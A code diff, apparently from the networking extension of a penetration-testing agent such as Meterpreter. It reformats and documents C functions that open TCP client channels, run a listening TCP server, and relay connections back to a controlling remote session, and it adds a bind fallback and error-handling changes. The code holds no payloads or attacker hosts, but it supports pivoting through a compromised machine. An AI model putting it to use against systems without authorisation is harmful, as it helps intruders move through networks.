dprintf("[TCP] tcp_channel_client_local_notify. [data] channel=<invalid> read=0x%.8x", dwBytesRead);
}
}
} while( select( 1, &set, NULL, NULL, &tv ) > 0 );
} while (select(1, &set, NULL, NULL, &tv) > 0);
return ERROR_SUCCESS;
}
/*
* Allocates a streaming TCP channel
*
* TLVs:
*
* req: TLV_TYPE_HOST_NAME - The host to connect to
* req: TLV_TYPE_PORT - The port to connect to
/*!
* @brief Allocates a streaming TCP channel.
* @param remote Pointer to the remote instance.
* @param packet Pointer to the request packet.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS Opening of the channel succeeded.
* @remarks The request packet needs to contain:
* - \c TLV_TYPE_HOST_NAME - Host to connnect to.
* - \c TLV_TYPE_PORT - Port to connnect to.
*/
DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
{
@ -211,15 +238,19 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
{
// No response packet?
if (!response)
{
break;
}
// Extract the hostname and port that we are to connect to
host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST);
port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT);
// Open the TCP channel
if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel)) != ERROR_SUCCESS)
{
break;
}
// Set the channel's identifier on the response
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
@ -232,10 +263,14 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
return ERROR_SUCCESS;
}
/*
* Creates a connection to a remote host and builds a logical channel to
* represent it.
*
/*!
* @brief Creates a connection to a remote host and builds a logical channel to represent it.
* @param remote Pointer to the remote instance.
* @param remoteHost The remote host to connect to.
* @param remoteHost The remote port to connect to.
* @param outChannel Pointer that will receive the newly created channel.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS Creation of the TCP client was successful.
*/
DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remotePort, Channel **outChannel)
{
@ -247,9 +282,11 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
SOCKET clientFd = 0;
if (outChannel)
{
*outChannel = NULL;
}
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort );
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort);
do
{
@ -257,14 +294,13 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
if ((clientFd = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET)
{
clientFd = 0;
result = GetLastError();
result = GetLastError();
break;
}
s.sin_family = AF_INET;
s.sin_port = htons(remotePort);
s.sin_addr.s_addr = inet_addr(remoteHost);
s.sin_family = AF_INET;
s.sin_port = htons(remotePort);
s.sin_addr.s_addr = inet_addr(remoteHost);
// Resolve the host name locally
if (s.sin_addr.s_addr == (DWORD)-1)
@ -280,17 +316,22 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
memcpy(&s.sin_addr.s_addr, h->h_addr, h->h_length);
}
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d connecting...", remoteHost, remotePort );
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d connecting...", remoteHost, remotePort);
// Try to connect to the host/port
if (connect(clientFd, (struct sockaddr *)&s, sizeof(s)) == SOCKET_ERROR)
{
result = GetLastError();
#ifdef _WIN32
result = WSAGetLastError();
#else
result = errno;
#endif
dprintf("[TCP] create client failed host=%s, port=%d error=%u 0x%x", remoteHost, remotePort, result, result);
break;
}
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d connected!", remoteHost, remotePort );
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d connected!", remoteHost, remotePort);
// Allocate the client context for tracking the connection
if (!(ctx = (TcpClientContext *)malloc( sizeof(TcpClientContext))))
if (!(ctx = (TcpClientContext *)malloc(sizeof(TcpClientContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
@ -300,80 +341,90 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
memset(ctx, 0, sizeof(TcpClientContext));
ctx->remote = remote;
ctx->fd = clientFd;
ctx->fd = clientFd;
// Initialize the channel operations structure
memset(&chops, 0, sizeof(chops));
chops.native.context = ctx;
chops.native.write = tcp_channel_client_write;
chops.native.close = tcp_channel_client_close;
chops.native.write = tcp_channel_client_write;
chops.native.close = tcp_channel_client_close;
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort );
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort);
// Allocate an uninitialized channel for associated with this connection
if (!(channel = channel_create_stream(0, 0,&chops)))
if (!(channel = channel_create_stream(0, 0, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Save the channel context association
ctx->channel = channel;
// Finally, create a waitable event and insert it into the scheduler's
// waitable list
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d creating the notify", remoteHost, remotePort );
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the notify", remoteHost, remotePort);
if ((ctx->notify = WSACreateEvent()))
{
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify );
WSAEventSelect(ctx->fd, ctx->notify, FD_READ | FD_CLOSE);
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify);
scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
}
} while (0);
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d all done", remoteHost, remotePort );
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d all done", remoteHost, remotePort);
// Clean up on failure
if (result != ERROR_SUCCESS)
{
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d cleaning up failed connection", remoteHost, remotePort );
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d cleaning up failed connection", remoteHost, remotePort);
if (ctx)
{
free_tcp_client_context(ctx);
}
if (clientFd)
{
closesocket(clientFd);
}
channel = NULL;
}
if (outChannel)
{
*outChannel = channel;
}
return result;
}
/*
* Deallocates and cleans up the attributes of a socket context
/*!
* @brief Deallocates and cleans up the attributes of a socket context.
* @ctx Pointer to the socket context to free.
*/
VOID free_socket_context(SocketContext *ctx)
{
dprintf( "[TCP] free_socket_context. ctx=0x%08X", ctx );
dprintf("[TCP] free_socket_context. ctx=0x%08X", ctx);
// Close the socket and notification handle
if (ctx->fd){
if (ctx->fd)
{
closesocket(ctx->fd);
ctx->fd = 0;
}
if (ctx->channel) {
if (ctx->channel)
{
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
ctx->channel = NULL;
}
if (ctx->notify)
{
dprintf( "[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
dprintf("[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
// The scheduler calls CloseHandle on our WSACreateEvent() for us
scheduler_signal_waitable(ctx->notify, Stop);
ctx->notify = NULL;
@ -383,41 +434,53 @@ VOID free_socket_context(SocketContext *ctx)
free(ctx);
}
/*
* Shuts the socket down for either reading or writing based on the how
* parameter supplied by the remote side
/*!
* @brief Shuts the socket down for either reading or writing.
* @param remote Pointer to the remote instance.
* @param packet Pointer to the packet.
* @remark The contents of the \c packet indicate whether to stop reading or writing.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS This value is always returned.
*/
DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
SocketContext * ctx = NULL;
Channel * channel = NULL;
DWORD cid = 0;
DWORD how = 0;
Channel * channel = NULL;
DWORD cid = 0;
DWORD how = 0;
do
{
dprintf( "[TCP] entering request_net_socket_tcp_shutdown" );
response = packet_create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
dprintf("[TCP] entering request_net_socket_tcp_shutdown");
response = packet_create_response(packet);
if (!response)
{
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
}
cid = packet_get_tlv_value_uint( packet, TLV_TYPE_CHANNEL_ID );
how = packet_get_tlv_value_uint( packet, TLV_TYPE_SHUTDOWN_HOW );
cid = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW);
channel = channel_find_by_id( cid );
if( !response )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE );
channel = channel_find_by_id(cid);
if (!response)
{
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE);
}
dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid );
dprintf("[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid);
ctx = channel_get_native_io_context( channel );
if( !ctx )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE );
ctx = channel_get_native_io_context(channel);
if (!ctx)
{
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE);
}
if( shutdown( ctx->fd, how ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[TCP] request_net_socket_tcp_shutdown. shutdown failed" );
if (shutdown(ctx->fd, how) == SOCKET_ERROR)
{
BREAK_ON_WSAERROR("[TCP] request_net_socket_tcp_shutdown. shutdown failed");
}
// sf: we dont seem to need to call this here, as the channels tcp_channel_client_local_notify() will
// catch the socket closure and call free_socket_context() for us, due the the FD_READ|FD_CLOSE flags
@ -425,11 +488,11 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
// This avoids a double call (from two different threads) and subsequent access violation in some edge cases.
//free_socket_context( ctx );
} while( 0 );
} while (0);
packet_transmit_response( dwResult, remote, response );
packet_transmit_response(dwResult, remote, response);
dprintf("[TCP] leaving request_net_socket_tcp_shutdown");
dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" );
return ERROR_SUCCESS;
}

View File

@ -1,119 +1,146 @@
/*!
* @file tcp_server.c
* @brief
*/
#include "precomp.h"
#include "tcp.h"
/*
* Deallocates and cleans up the attributes of a tcp server socket context
/*!
* @brief Deallocates and cleans up the attributes of a tcp server socket context.
* @param ctx Pointer to the context to free.
*/
VOID free_tcp_server_context( TcpServerContext * ctx )
VOID free_tcp_server_context(TcpServerContext * ctx)
{
do
{
if( !ctx )
break;
dprintf( "[TCP-SERVER] free_tcp_server_context. ctx=0x%08X", ctx );
if( ctx->fd )
if (!ctx)
{
closesocket( ctx->fd );
break;
}
dprintf("[TCP-SERVER] free_tcp_server_context. ctx=0x%08X", ctx);
if (ctx->fd)
{
closesocket(ctx->fd);
ctx->fd = 0;
}
if( ctx->channel )
if (ctx->channel)
{
channel_close( ctx->channel, ctx->remote, NULL, 0, NULL );
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
ctx->channel = NULL;
}
if( ctx->notify )
if (ctx->notify)
{
scheduler_signal_waitable( ctx->notify, Stop );
scheduler_signal_waitable(ctx->notify, Stop);
ctx->notify = NULL;
}
free( ctx );
free(ctx);
} while( 0 );
} while (0);
}
/*
* Closes the server socket and brings down the client connections.
/*!
* @brief Closes the server socket and brings down the client connections.
* @param channel Pointer to the TCP channel to close.
* @param request The request packet.
* @param context The channel context.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS This value is always returned.
*/
DWORD tcp_channel_server_close( Channel * channel, Packet * request, LPVOID context )
DWORD tcp_channel_server_close(Channel * channel, Packet * request, LPVOID context)
{
TcpServerContext * ctx = (TcpServerContext *)context;
do
{
dprintf( "[TCP-SERVER] tcp_channel_server_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
dprintf("[TCP-SERVER] tcp_channel_server_close. channel=0x%08X, ctx=0x%08X", channel, ctx);
if( !ctx )
if (!ctx)
{
break;
}
// Set the context channel to NULL so we don't try to close the
// channel (since it's already being closed)
ctx->channel = NULL;
// Free the context
free_tcp_server_context( ctx );
free_tcp_server_context(ctx);
// Set the native channel operations context to NULL
channel_set_native_io_context( channel, NULL );
channel_set_native_io_context(channel, NULL);
} while( 0 );
} while (0);
return ERROR_SUCCESS;
}
/*
* Create a TCP client channel from a socket.
/*!
* @brief Create a TCP client channel from a socket.
* @param serverCtx Pointer to the TCP server context.
* @param sock The socket handle.
* @returns Pointer to the newly created client context.
*/
TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverctx, SOCKET sock )
TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx, SOCKET sock)
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwResult = ERROR_SUCCESS;
TcpClientContext * clientctx = NULL;
StreamChannelOps chops = {0};
StreamChannelOps chops = { 0 };
do
{
if( !serverctx )
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. serverctx == NULL", ERROR_INVALID_HANDLE );
if (!serverCtx)
{
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. serverCtx == NULL", ERROR_INVALID_HANDLE);
}
clientctx = (TcpClientContext *)malloc( sizeof(TcpClientContext) );
if( !clientctx )
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx == NULL", ERROR_NOT_ENOUGH_MEMORY );
clientctx = (TcpClientContext *)malloc(sizeof(TcpClientContext));
if (!clientctx)
{
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
}
memset( clientctx, 0, sizeof(TcpClientContext) );
memset(clientctx, 0, sizeof(TcpClientContext));
clientctx->remote = serverctx->remote;
clientctx->fd = sock;
clientctx->remote = serverCtx->remote;
clientctx->fd = sock;
clientctx->notify = WSACreateEvent();
if( clientctx->notify == WSA_INVALID_EVENT )
BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed" );
if (clientctx->notify == WSA_INVALID_EVENT)
{
BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed");
}
if( WSAEventSelect( clientctx->fd, clientctx->notify, FD_READ|FD_CLOSE ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed" );
if (WSAEventSelect(clientctx->fd, clientctx->notify, FD_READ | FD_CLOSE) == SOCKET_ERROR)
{
BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed");
}
memset( &chops, 0, sizeof(StreamChannelOps) );
memset(&chops, 0, sizeof(StreamChannelOps));
chops.native.context = clientctx;
chops.native.write = tcp_channel_client_write;
chops.native.close = tcp_channel_client_close;
clientctx->channel = channel_create_stream( 0, 0, &chops );
if( !clientctx->channel )
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE );
chops.native.write = tcp_channel_client_write;
chops.native.close = tcp_channel_client_close;
dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL );
} while( 0 );
if( dwResult != ERROR_SUCCESS )
{
if( clientctx )
clientctx->channel = channel_create_stream(0, 0, &chops);
if (!clientctx->channel)
{
free( clientctx );
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE);
}
dwResult = scheduler_insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
} while (0);
if (dwResult != ERROR_SUCCESS)
{
if (clientctx)
{
free(clientctx);
clientctx = NULL;
}
}
@ -121,178 +148,250 @@ TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverct
return clientctx;
}
/*
* Notify routine for a tcp server channel to pick up its new client connections.
/*!
* @brief Notify routine for a tcp server channel to pick up its new client connections..
* @param remote Pointer to the remote instance.
* @param serverCtx Pointer to the TCP server context.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS Notification completed successfully.
*/
DWORD tcp_channel_server_notify( Remote * remote, TcpServerContext * serverctx )
DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwResult = ERROR_SUCCESS;
TcpClientContext * clientctx = NULL;
Packet * request = NULL;
SOCKADDR_IN clientaddr = {0};
SOCKADDR_IN serveraddr = {0};
SOCKET sock = 0;
DWORD size = 0;
char * localhost = NULL;
char * peerhost = NULL;
int localport = 0;
int peerport = 0;
Packet * request = NULL;
SOCKADDR_IN clientaddr = { 0 };
SOCKADDR_IN serveraddr = { 0 };
SOCKET sock = 0;
DWORD size = 0;
char * localhost = NULL;
char * peerhost = NULL;
int localport = 0;
int peerport = 0;
do
{
if( !serverctx )
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_notify. serverctx == NULL", ERROR_INVALID_HANDLE );
ResetEvent( serverctx->notify );
size = sizeof(SOCKADDR);
sock = accept( serverctx->fd, (SOCKADDR *)&clientaddr, &size );
if( sock == INVALID_SOCKET )
if (!serverCtx)
{
if( WSAGetLastError() == WSAEWOULDBLOCK )
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE);
}
ResetEvent(serverCtx->notify);
size = sizeof(SOCKADDR_IN);
sock = accept(serverCtx->fd, (SOCKADDR *)&clientaddr, &size);
if (sock == INVALID_SOCKET)
{
if (WSAGetLastError() == WSAEWOULDBLOCK)
{
Sleep( 100 );
Sleep(100);
break;
}
BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_notify. accept failed" );
BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed");
}
dprintf( "[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverctx->channel), sock );
dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock);
clientctx = tcp_channel_server_create_client(serverCtx, sock);
if (!clientctx)
{
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE);
}
clientctx = tcp_channel_server_create_client( serverctx, sock );
if( !clientctx )
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE );
size = sizeof(SOCKADDR);
if( getsockname( serverctx->fd, (SOCKADDR *)&serveraddr, &size ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed" );
if (getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR)
{
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed");
}
localhost = inet_ntoa( serveraddr.sin_addr );
if( !localhost )
localhost = inet_ntoa(serveraddr.sin_addr);
if (!localhost)
{
localhost = "";
}
localport = ntohs( serveraddr.sin_port );
localport = ntohs(serveraddr.sin_port);
peerhost = inet_ntoa( clientaddr.sin_addr );
if( !peerhost )
peerhost = inet_ntoa(clientaddr.sin_addr);
if (!peerhost)
{
peerhost = "";
}
peerport = ntohs( clientaddr.sin_port );
dprintf( "[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport );
peerport = ntohs(clientaddr.sin_port);
request = packet_create( PACKET_TLV_TYPE_REQUEST, "tcp_channel_open" );
if( !request )
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE );
packet_add_tlv_uint( request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel) );
packet_add_tlv_uint( request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverctx->channel) );
packet_add_tlv_string( request, TLV_TYPE_LOCAL_HOST, localhost );
packet_add_tlv_uint( request, TLV_TYPE_LOCAL_PORT, localport );
packet_add_tlv_string( request, TLV_TYPE_PEER_HOST, peerhost );
packet_add_tlv_uint( request, TLV_TYPE_PEER_PORT, peerport );
dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport);
dwResult = packet_transmit( serverctx->remote, request, NULL );
request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open");
if (!request)
{
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE);
}
} while( 0 );
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel));
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel));
packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost);
packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport);
packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);
dwResult = packet_transmit(serverCtx->remote, request, NULL);
} while (0);
return dwResult;
}
/*
* Allocates a streaming TCP server channel
/*!
* @brief Allocates a streaming TCP server channel.
* @param remote Pointer to the remote instance.
* @param packet Pointer to the request packet.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS Opening the server channel completed successfully.
*/
DWORD request_net_tcp_server_channel_open( Remote * remote, Packet * packet )
DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwResult = ERROR_SUCCESS;
TcpServerContext * ctx = NULL;
Packet * response = NULL;
char * lhost = NULL;
SOCKADDR_IN saddr = {0};
StreamChannelOps chops = {0};
USHORT lport = 0;
Packet * response = NULL;
char * lhost = NULL;
SOCKADDR_IN saddr = { 0 };
StreamChannelOps chops = { 0 };
USHORT lport = 0;
do
{
response = packet_create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
ctx = (TcpServerContext *)malloc( sizeof(TcpServerContext) );
if( !ctx )
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY );
response = packet_create_response(packet);
if (!response)
{
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
}
ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext));
if (!ctx)
{
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
}
memset(ctx, 0, sizeof(TcpServerContext));
memset( ctx, 0, sizeof(TcpServerContext) );
ctx->remote = remote;
lport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF );
if( !lport )
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. lport == NULL", ERROR_INVALID_HANDLE );
lport = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
if (!lport)
{
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. lport == NULL", ERROR_INVALID_HANDLE);
}
lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST );
if( !lhost )
lhost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);
if (!lhost)
{
lhost = "0.0.0.0";
}
ctx->fd = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
if( ctx->fd == INVALID_SOCKET )
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed" );
ctx->fd = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
if (ctx->fd == INVALID_SOCKET)
{
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed");
}
saddr.sin_family = AF_INET;
saddr.sin_port = htons( lport );
saddr.sin_addr.s_addr = inet_addr( lhost );
saddr.sin_family = AF_INET;
saddr.sin_port = htons(lport);
saddr.sin_addr.s_addr = inet_addr(lhost);
if( bind( ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR) ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. bind failed" );
if (bind(ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
{
#ifdef _WIN32
dwResult = WSAGetLastError();
if (dwResult != WSAEADDRNOTAVAIL)
#else
dwResult = errno;
if (dwResult != EADDRNOTAVAIL)
#endif
{
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
}
dprintf("[TCP-SERVER] Failed to bind to %s, trying 0.0.0.0 ...", lhost);
// try again, but this time bind to any/all interfaces.
lhost = "0.0.0.0";
saddr.sin_addr.s_addr = inet_addr(lhost);
if (bind(ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
{
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
}
dwResult = ERROR_SUCCESS;
}
if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR)
{
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed");
}
if( listen( ctx->fd, SOMAXCONN ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. listen failed" );
ctx->notify = WSACreateEvent();
if( ctx->notify == WSA_INVALID_EVENT )
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed" );
if (ctx->notify == WSA_INVALID_EVENT)
{
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed");
}
if( WSAEventSelect( ctx->fd, ctx->notify, FD_ACCEPT ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed" );
if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR)
{
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed");
}
memset( &chops, 0, sizeof(StreamChannelOps) );
memset(&chops, 0, sizeof(StreamChannelOps));
chops.native.context = ctx;
chops.native.close = tcp_channel_server_close;
chops.native.close = tcp_channel_server_close;
ctx->channel = channel_create_stream( 0, CHANNEL_FLAG_SYNCHRONOUS, &chops );
if( !ctx->channel )
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
if (!ctx->channel)
{
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
}
scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL );
scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel) );
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));
dprintf( "[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", lhost, lport, channel_get_id(ctx->channel) );
dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", lhost, lport, channel_get_id(ctx->channel));
} while( 0 );
} while (0);
packet_transmit_response( dwResult, remote, response );
packet_transmit_response(dwResult, remote, response);
do
{
if( dwResult == ERROR_SUCCESS )
if (dwResult == ERROR_SUCCESS)
{
break;
}
if( !ctx )
dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult);
if (!ctx)
{
break;
}
if( ctx->fd )
closesocket( ctx->fd );
if( ctx->channel )
channel_destroy( ctx->channel, packet );
if (ctx->fd)
{
dprintf("[TCP-SERVER] Destroying socket");
closesocket(ctx->fd);
}
free( ctx );
if (ctx->channel)
{
dprintf("[TCP-SERVER] Destroying channel");
channel_destroy(ctx->channel, packet);
}
} while( 0 );
free(ctx);
return ERROR_SUCCESS;
} while (0);
return dwResult;
}

View File

@ -39,16 +39,16 @@
#define WSAECONNABORTED ECONNABORTED
#define BREAK_WITH_ERROR(format, args...) \
do { \
{ \
dprintf(format, ## args); \
exit(0); \
} while(0) \
break; \
} \
#define BREAK_ON_WSAERROR(format, args...) \
do { \
{ \
dprintf(format, ## args); \
abort(); \
} while(0) \
break; \
} \
